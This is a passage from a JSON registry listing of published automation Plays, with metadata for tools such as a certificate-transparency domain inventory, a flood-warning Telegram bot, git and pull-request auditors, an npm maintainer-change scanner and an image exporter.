never as empty, because crt.sh answers a domain it has nothing for with the same HTTP 502 it gives while overloaded, and a failed request that reads as \"no hostnames found\" tells you your domain is clean at the moment the play knows nothing. It resolves each name in DNS and CONTACTS NONE OF THEM: no HTTP request, no port scan, nothing that touches a server. Read-only against both logs, anonymous, no account or key. The only thing it writes is its own memory file, which it names in the report. Run it with no settings for a bundled example built from real recorded responses, which needs no network. Needs python3.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["certificate-transparency","domains","dns","inventory","monitoring"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.1.0","published_at":"2026-09-06T12:37:44.332344+00:00","visibility":"public","quality_score":1,"size_bytes":30202,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["judge","collect","selfcheck"]},"parameters":[{"name":"domain","type":"string","required":false,"default":"demo","description":"A domain you own, such as example.com, or the word demo for the bundled example"},{"name":"budget","type":"string","required":false,"default":"120","description":"Seconds to spend reading the transparency logs before reporting what arrived"},{"name":"memory","type":"string","required":false,"default":"default","description":"File that remembers this run so the next one can mark what is new. Leave empty to keep no memory."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d8e7bc73092d17f2fbd1cfa2dfbd5c1854674ed40817ba73a848d9423f1216e8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bavya21/kadalkaval@0.2.0","reference":"bavya21/kadalkaval@0.2.0","uri":"https://play.modiqo.ai/bavya21/kadalkaval@0.2.0","manifest_uri":"https://play.modiqo.ai/bavya21/kadalkaval@0.2.0","name":"kadalkaval","title":"kadalkaval","description":"An automatic coastal and flood early-warning Play inspired by the devastating\nloss of life during sudden floods and coastal disasters such as those seen in\nNepal. Kadalkaval continuously ingests authoritative machine-readable hazard\nsignals and warnings, including information derived from weather, satellite,\nocean and environmental monitoring systems, detects emerging coastal threats,\nassesses their severity and confidence, identifies affected regions, and\ndelivers timely location-aware warnings through Telegram so communities can\nreceive critical information before dangerous conditions reach them.\n","owner":{"kind":"user","slug":"bavya21"},"registry_organization":"bavya21","tags":["typescript","coastal","hazard","early-warning","disaster-response","maritime-safety"],"primary_domain":"domain-uncategorized","author":"bavya21","version":"0.2.0","published_at":"2026-09-06T12:31:28.591054+00:00","visibility":"public","quality_score":1,"size_bytes":6844,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["ingest_hazard"]},"parameters":[{"name":"telegram_bot_token","type":"string","required":true,"description":"Telegram bot token used only for warning delivery"},{"name":"telegram_chat_id","type":"string","required":true,"description":"Telegram destination for the configured regional alert channel"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:75a760bc289bca1864af04055626ad2fbe3017c626b9fc659db4e20e5c98e70e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/vishal-kumar9032/agent-context-guard@0.1.0","reference":"vishal-kumar9032/agent-context-guard@0.1.0","uri":"https://play.modiqo.ai/vishal-kumar9032/agent-context-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/vishal-kumar9032/agent-context-guard@0.1.0","name":"agent-context-guard","title":"agent-context-guard","description":"Codebase AI Agent Readiness & Context Hygiene Radar: audits steering docs (AGENTS.md, CLAUDE.md, .cursorrules), token waste/pollution, test determinism, and secret isolation. Offline, ~200ms, zero tokens.","owner":{"kind":"user","slug":"vishal-kumar9032"},"registry_organization":"vishal-kumar9032","tags":["ai-agents","context-window","token-optimization","cursorrules","developer-tools","security","offline"],"primary_domain":"domain-uncategorized","author":"vishal-kumar9032","version":"0.1.0","published_at":"2026-09-06T11:34:37.076407+00:00","visibility":"public","quality_score":1,"size_bytes":10010,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["audit","selfcheck"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Absolute path to repository to audit. Always pass root=$(pwd) to point at your current directory, e.g. rote play run vishal-kumar9032/agent-context-guard root=$(pwd) --yes"},{"name":"format","type":"string","required":false,"default":"markdown","description":"Output presentation style (markdown, text, json)."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dae9f89037d859482e435c65b79c97ea80c3ae8e2332c4c6dba53c229a84764a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mishraaditya/repo-standup@0.1.1","reference":"mishraaditya/repo-standup@0.1.1","uri":"https://play.modiqo.ai/mishraaditya/repo-standup@0.1.1","manifest_uri":"https://play.modiqo.ai/mishraaditya/repo-standup@0.1.1","name":"repo-standup","title":"repo-standup","description":"The morning 'catch me up on this repo' you keep asking your agent, crystallized. One run answers: what was committed in the last N hours and by whom, which files are hot, what is sitting uncommitted or unpushed, and what branches exist. Pure local git — no credentials, no network, works on any checkout.","owner":{"kind":"user","slug":"mishraaditya"},"registry_organization":"mishraaditya","tags":["git","standup","morning","hackathon"],"primary_domain":"domain-uncategorized","author":"mishraaditya","version":"0.1.1","published_at":"2026-09-06T11:12:37.7428+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3512,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["gather"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the local git checkout"},{"name":"hours","type":"string","required":false,"default":"24","description":"How many hours back to look (default: 24)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3c39e488e4904a9d71a51703f53a4d3b5d6f1e330424613ce89b16dd09c0fbf7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pathan-security/bookmark-and-read-later-curator@1.0.0","reference":"pathan-security/bookmark-and-read-later-curator@1.0.0","uri":"https://play.modiqo.ai/pathan-security/bookmark-and-read-later-curator@1.0.0","manifest_uri":"https://play.modiqo.ai/pathan-security/bookmark-and-read-later-curator@1.0.0","name":"bookmark-and-read-later-curator","title":"bookmark-and-read-later-curator","description":"Bookmark & Read-Later Curator: privacy-first, zero-config curation engine that parses Chrome/Firefox/Edge bookmark HTML, Netscape bookmark exports, plain-text URL lists, CSV and JSON; validates every saved link (dead/broken/redirected/unreachable), deduplicates tracking variants, extracts readable article content locally, auto-categorizes into AI, Programming, Web Dev, Business, Security, Learning, News, Tools, Research, and generates 3-bullet extractive summaries. Local-first with no API key, no login, no cloud. Built-in offline demo mode for instant testing.","owner":{"kind":"org","slug":"pathan-security"},"registry_organization":"pathan-security","tags":["bookmarks","read-later","curation","link-checker","deduplication","summarization","productivity","privacy"],"primary_domain":"domain-uncategorized","author":"Pathananash56","version":"1.0.0","published_at":"2026-09-06T10:21:57.604725+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":21736,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["curate_run"]},"parameters":[{"name":"action","type":"string","required":false,"default":"curate","description":"Run mode: curate (analyze an input bookmark file) or demo (built-in offline sample collection)"},{"name":"input","type":"string","required":false,"default":"","description":"Path to Chrome/Firefox bookmark HTML, Netscape HTML, CSV, JSON, or plain-text URL file"},{"name":"max_items","type":"string","required":false,"default":"100","description":"Maximum number of saved links to process"},{"name":"format","type":"string","required":false,"default":"terminal","description":"Output format: terminal, markdown, or json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d189eec19ce3fca529556a132f0c958cc7951e6543a44b24147807c37bbee668","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rusty-chirag/new-relic-deployment-failure-analysis@0.0.1","reference":"rusty-chirag/new-relic-deployment-failure-analysis@0.0.1","uri":"https://play.modiqo.ai/rusty-chirag/new-relic-deployment-failure-analysis@0.0.1","manifest_uri":"https://play.modiqo.ai/rusty-chirag/new-relic-deployment-failure-analysis@0.0.1","name":"new-relic-deployment-failure-analysis","title":"new-relic-deployment-failure-analysis","description":"Analyzes New Relic error logs around a deployment by comparing complete error counts by exception type before and after deployment and returning representative error logs for investigation.","owner":{"kind":"user","slug":"rusty-chirag"},"registry_organization":"rusty-chirag","tags":["typescript","newrelic","deployment","logs","errors"],"primary_domain":"domain-uncategorized","author":"rusty-chirag","version":"0.0.1","published_at":"2026-09-06T10:21:01.988674+00:00","visibility":"public","quality_score":0.875,"size_bytes":8444,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["query_logs","compute_end","auth_newrelic","compute_start","compute_filter"]},"parameters":[{"name":"environment","type":"string","required":true,"description":"Target deployment environment (e.g. production, staging)","example":"staging-core"},{"name":"deployment_time","type":"string","required":true,"description":"Deployment timestamp in ISO 8601 format","example":"2026-08-15T14:30:00Z"},{"name":"search_window","type":"string","required":true,"description":"Search window duration around deployment (e.g. 30m, 1h)","example":"1h"},{"name":"tags","type":"string","required":false,"default":"","description":"Optional comma-separated key=value filter tags (e.g. service=auth-service,release_version=v2.1.0)","example":"app=billing-service,tier=backend"}],"execution":{"adapters":[{"id":"rusty-chirag/newrelic","name":"newrelic","version":null,"credential_status":"required"},{"id":"newrelic","name":"newrelic","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2d3c5655bbb46a03f21f0fbd4c3147fcaea39110b687a0aaa2595232696fc8f1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":3,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[{"adapter":"newrelic","steps":2,"methods":["queryNerdGraph"],"display_name":"newrelic","host":"api.newrelic.com","kind":"rest","tools":1,"fingerprint":"mcp_2Lb5DeWngThTE2nSwg55S53YSYdV","source":"rusty-chirag/newrelic","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1},"cost":{"api_tokens":12000,"context_tokens":1500,"exploration_ms":5000,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/prempalhade/acceptance-evidence-gate@0.1.1","reference":"prempalhade/acceptance-evidence-gate@0.1.1","uri":"https://play.modiqo.ai/prempalhade/acceptance-evidence-gate@0.1.1","manifest_uri":"https://play.modiqo.ai/prempalhade/acceptance-evidence-gate@0.1.1","name":"acceptance-evidence-gate","title":"acceptance-evidence-gate","description":"Given a GitHub pull request, extract explicit acceptance criteria, collect deterministic evidence (CI checks, changed files, test coverage), map each requirement to PASS/FAIL/UNKNOWN, and produce a conservative ACCEPT/REVISE/BLOCK evidence report. Try first with mode=sample (no GitHub account or token). Read-only; optional GITHUB_TOKEN for rate limits only; never posts, merges, or comments.","owner":{"kind":"user","slug":"prempalhade"},"registry_organization":"prempalhade","tags":["effect-read-only","audience-developers","github","pull-requests","acceptance-criteria","verification","sample-mode"],"primary_domain":"domain-uncategorized","author":"prempalhade","version":"0.1.1","published_at":"2026-09-06T09:31:16.248914+00:00","visibility":"public","quality_score":0.875,"size_bytes":15159,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["collect"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"-","description":"Use mode=sample for offline demo (no GitHub network or token required)"},{"name":"pr","type":"string","required":false,"default":"-","description":"Public GitHub pull request URL (https://github.com/OWNER/REPO/pull/N). Not required when mode=sample"},{"name":"issue","type":"string","required":false,"default":"-","description":"Optional issue URL or #number override for acceptance criteria"},{"name":"spec","type":"string","required":false,"default":"-","description":"Optional workspace-relative acceptance criteria file"},{"name":"root","type":"string","required":false,"default":"-","description":"Optional local git checkout for supplementary read-only checks"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:49f12a76cd07394b29965c827b84d36d788c5efdb7bdfcaca879815a4c6349b7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/codinghub/data-quality-report@0.0.2","reference":"codinghub/data-quality-report@0.0.2","uri":"https://play.modiqo.ai/codinghub/data-quality-report@0.0.2","manifest_uri":"https://play.modiqo.ai/codinghub/data-quality-report@0.0.2","name":"data-quality-report","title":"data-quality-report","description":"Runs a fixed, deterministic data quality check on any CSV or Excel dataset. Detects missing values, duplicate rows, incorrect data types, empty columns, basic statistics (mean, median, min, max, std), and outliers (IQR or z-score method). Generates a clean Markdown report. Inputs: dataset_path (the path to your CSV/Excel file you want to check) and report_path (the file path where the generated Markdown report will be saved). Example usage: dataset_path=/path/to/your/file.csv, report_path=/path/to/output-report.md. Same input always produces the same output — no AI guessing, just consistent results every time.","owner":{"kind":"org","slug":"codinghub"},"registry_organization":"codinghub","tags":["data-quality","pandas","csv","excel","missing","duplicates","outliers","statistics","mean","median","min","max","std","iqr","zscore","deterministic","report"],"primary_domain":"domain-uncategorized","author":"Hafsaarain956","version":"0.0.2","published_at":"2026-09-06T09:10:29.264703+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7419,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["generate_report"]},"parameters":[{"name":"dataset_path","type":"string","required":true,"description":"Path to the input dataset (.csv, .xlsx, or .xls)"},{"name":"report_path","type":"string","required":true,"description":"Path where the Markdown Data Quality Report is written"},{"name":"outlier_method","type":"string","required":false,"default":"iqr","description":"Outlier detection method: iqr (Q1-1.5*IQR, Q3+1.5*IQR) or zscore (|z|>threshold)"},{"name":"zscore_threshold","type":"string","required":false,"default":"3.0","description":"Absolute z-score threshold used when outlier_method is zscore"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dc01d46dbbe118bd309ccec3dd9d04cc28aa6312eca32459a3988319b0a5d4e9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"uv","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/abhinay/change-blast-radius@0.0.1","reference":"abhinay/change-blast-radius@0.0.1","uri":"https://play.modiqo.ai/abhinay/change-blast-radius@0.0.1","manifest_uri":"https://play.modiqo.ai/abhinay/change-blast-radius@0.0.1","name":"change-blast-radius","title":"change-blast-radius","description":"Analyze a local Git repository change range and report evidence-backed blast radius.","owner":{"kind":"user","slug":"abhinay"},"registry_organization":"abhinay","tags":[],"primary_domain":"domain-uncategorized","author":"Abhinaykatariya66","version":"0.0.1","published_at":"2026-09-06T09:09:36.370202+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5011,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["git","git_2","python3"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Play parameter"},{"name":"base","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:de0b5d259952af8a912bad31f72eacad895f66634698bf32622583fbb68c8542","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":3,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"git","kind":"tool","source":"declared","count":2},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/codewithmehru/maintainer-transfer-blast-radius@0.1.0","reference":"codewithmehru/maintainer-transfer-blast-radius@0.1.0","uri":"https://play.modiqo.ai/codewithmehru/maintainer-transfer-blast-radius@0.1.0","manifest_uri":"https://play.modiqo.ai/codewithmehru/maintainer-transfer-blast-radius@0.1.0","name":"maintainer-transfer-blast-radius","title":"maintainer-transfer-blast-radius","description":"Scan direct npm dependencies for human maintainer/publisher trust changes and map public blast radius via deps.dev.","owner":{"kind":"org","slug":"codewithmehru"},"registry_organization":"codewithmehru","tags":["supply-chain","security","npm","maintainer","blast-radius","deps.dev"],"primary_domain":"domain-uncategorized","author":"Mehru Codes","version":"0.1.0","published_at":"2026-09-06T08:44:36.511641+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5741,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["scan_maintainers","lookup_dependents"]},"parameters":[{"name":"target_repo","type":"string","required":true,"description":"Absolute path to the repository containing lockfiles","example":"/home/user/project"},{"name":"lockfile_globs","type":"string","required":false,"default":"package-lock.json","description":"Comma-separated lockfile patterns relative to target_repo"},{"name":"correlation_window_days","type":"string","required":false,"default":"90","description":"Days back from capture time to scan publisher changes"},{"name":"exclude_publishers","type":"string","required":false,"default":"GitHub Actions","description":"Comma-separated npm publisher names to exclude as CI automation"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:23892b1047ef09f16ad2aece985b059dc3a181a2606a116c521f6b47fcf4b61f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/sakshiitripathii/npm-package-checker@0.0.1","reference":"sakshiitripathii/npm-package-checker@0.0.1","uri":"https://play.modiqo.ai/sakshiitripathii/npm-package-checker@0.0.1","manifest_uri":"https://play.modiqo.ai/sakshiitripathii/npm-package-checker@0.0.1","name":"npm-package-checker","title":"npm-package-checker","description":"","owner":{"kind":"user","slug":"sakshiitripathii"},"registry_organization":"sakshiitripathii","tags":[],"primary_domain":"domain-uncategorized","author":"Sakshiom7","version":"0.0.1","published_at":"2026-09-06T08:42:20.853461+00:00","visibility":"public","quality_score":0.400000005960464,"size_bytes":1594,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["curl"]},"parameters":[{"name":"package_name","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2c544ecd8c93c3f3c37aebd9b36b6c1b777966517676ddf6702bff0629cb8d18","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/maannaaan/merge-memory@0.1.0","reference":"maannaaan/merge-memory@0.1.0","uri":"https://play.modiqo.ai/maannaaan/merge-memory@0.1.0","manifest_uri":"https://play.modiqo.ai/maannaaan/merge-memory@0.1.0","name":"merge-memory","title":"merge-memory","description":"Surface historically relevant bugs, reverts, regressions, and hotfixes connected to the files you are changing. Merge Memory inspects local Git history and returns repository memories and ranked incidents as evidence for a coding agent or reviewer. It does not claim the current change will fail or that the area is safe.","owner":{"kind":"user","slug":"maannaaan"},"registry_organization":"maannaaan","tags":["git","code-review","developer-tools","repository-analysis","software-engineering","effect-read-only"],"primary_domain":"domain-uncategorized","author":"maannaaan","version":"0.1.0","published_at":"2026-09-06T08:29:05.874588+00:00","visibility":"public","quality_score":1,"size_bytes":6086,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the Git repository to analyze."},{"name":"max_commits","type":"integer","required":false,"default":500,"description":"Maximum commits to scan from history."},{"name":"files","type":"string","required":false,"default":"","description":"Optional space-separated repository-relative file paths. Leave empty to analyze the current working-tree change."},{"name":"engine_root","type":"string","required":false,"default":"","description":"Absolute path to the Merge Memory checkout (must contain src/merge_memory; .venv/bin/python is used when present). Required for source-checkout and Rote runs. Rote copies Play resources into a temp workspace, so the engine cannot be discovered from the wrapper path."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f2bd48a7e829623922943e4ebe9bcfeb1a137e4a973e5e1cb389c57a068bc183","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mritunjay/play-portability-audit@0.1.0","reference":"mritunjay/play-portability-audit@0.1.0","uri":"https://play.modiqo.ai/mritunjay/play-portability-audit@0.1.0","manifest_uri":"https://play.modiqo.ai/mritunjay/play-portability-audit@0.1.0","name":"play-portability-audit","title":"play-portability-audit","description":"Answers the one question a published Play cannot answer about itself: will it run on someone else's machine? Statically audits a Play package for unbundled resources, imports and names that fail only at run time, relative default paths that resolve to a throwaway workspace instead of the caller's directory, machine-specific paths, undeclared binaries, un-parameterized literals, execution blockers that make a Play publishable but not runnable, and faults hidden as successes. Reads the package and never executes it. No network, no credentials, no API key.","owner":{"kind":"user","slug":"mritunjay"},"registry_organization":"mritunjay","tags":["play-authoring","portability","static-analysis","pre-publication-check"],"primary_domain":"domain-uncategorized","author":"Mritunjaypandey0789","version":"0.1.0","published_at":"2026-09-06T08:14:58.179391+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":12685,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["check_paths","locate_play","render_report","check_contract","check_packaging","check_failure_modes"]},"parameters":[{"name":"play","type":"string","required":true,"description":"The Play to audit: a path to its main.ts, its package directory, or the name of a locally installed Play (see `rote play list`)."},{"name":"output_dir","type":"string","required":false,"default":"./play-audit","description":"Directory for audit.html, audit.md and findings.json. A relative path resolves against the directory you run from. Created if absent; nothing outside it is written."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f7abc54392b34218ab921d34895455babed8b67ed67952767c7e3320d576ba1d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/responsive-image-export-set@0.1.1","reference":"himanshu-jha/responsive-image-export-set@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/responsive-image-export-set@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/responsive-image-export-set@0.1.1","name":"responsive-image-export-set","title":"responsive-image-export-set","description":"Export width variants from explicit PNG, JPEG or WebP files into a new local directory. Independent image/width jobs run in parallel, apply EXIF display orientation and avoid upscaling. Outputs are lossless RGBA PNGs made from fresh pixel buffers, with no source metadata. A manifest records source hashes, requested and actual dimensions, output hashes and decoded-pixel checks. Reopens sources and exports before reporting verification. Originals stay unchanged.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["images","responsive-images","local-write","parallel"],"primary_domain":"domain-uncategorized","author":"himanshu748","version":"0.1.1","published_at":"2026-09-06T08:14:19.250853+00:00","visibility":"public","quality_score":1,"size_bytes":10051,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["inspect_images","verify_exports","export_rendition","assemble_manifest","reserve_renditions"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Canonical absolute directory containing caller-controlled image files."},{"name":"files","type":"string","required":false,"default":"[]","description":"JSON array of at most 8 distinct image paths relative to root. Empty creates an empty packet."},{"name":"widths","type":"string","required":false,"default":"[640,1280]","description":"JSON array of 1–8 distinct integer widths between 32 and 4096. Actual width is capped at the oriented source width."},{"name":"destination","type":"string","required":true,"description":"Canonical absolute NEW directory outside root, with an existing parent. Never 